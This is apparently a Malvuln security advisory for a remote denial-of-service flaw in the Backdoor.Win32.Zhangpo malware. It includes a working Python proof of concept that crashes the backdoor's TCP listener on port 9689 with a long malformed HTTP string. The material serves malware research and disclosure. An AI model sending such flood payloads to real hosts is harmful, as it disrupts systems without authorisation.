Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/052d18e119f9a2910ed18a137231a041.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zhangpo
Vulnerability: Remote DoS
Description: Zhangpo listens on TCP port 9689, sending a special character as a long string HTTP payload will DoS the backdoor.
Type: PE32
MD5: 052d18e119f9a2910ed18a137231a041
Vuln ID: MVID-2021-0058
Disclosure: 01/28/2021


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=9689

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PaCOLA =  "GET / HTTP/1.0 " +";&#235"*10000

    s.send(PaCOLA)
    s.close()
    
    print("Backdoor.Win32.Zhangpo / Remote DoS");
    print("MD5: 052d18e119f9a2910ed18a137231a041");
    print("By Malvuln");

if __name__=="__main__":
    doit()


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